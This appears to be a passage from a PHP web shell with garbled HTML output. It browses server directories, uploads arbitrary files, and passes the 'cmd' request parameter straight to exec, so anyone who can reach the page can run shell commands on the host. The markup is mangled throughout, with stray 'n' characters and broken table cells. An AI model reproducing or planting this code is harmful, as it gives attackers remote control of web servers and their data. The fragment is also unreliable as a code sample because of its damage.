Viewing directory " . $dir . "";
echo "n
";
echo "n
n
";
if (isset($_POST['submit'])) {
$uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']);
if (file_exists($uploadDirectory)) {
echo "
Error. File already exists in ".$uploadDirectory.".";
}
else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) {
echo '
File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !';
} else {
echo '
Error uploading file '.$uploadDirectory.'';
}
}
if (isset($_GET['cmd'])) {
echo "
Result of command execution: ";
exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult);
foreach ($cmdresult as $key => $value) {
echo "$value n
";
}
}
echo "
";
?>
$value) {
echo "";
if (is_dir(realpath($dir.'/'.$value))) {
echo "n";
}
else {
echo "n";
}
echo "";
}
echo "";
echo "
Name |
Owner |
Permissions |
". $value . " | ". posix_getpwuid(fileowner($dir.'/'.$value))[name] . " | " . printPerms($dir) . " | ". $value . " | ". posix_getpwuid(fileowner($dir.'/'.$value))[name] ." | " . printPerms($dir) . " |
";
?>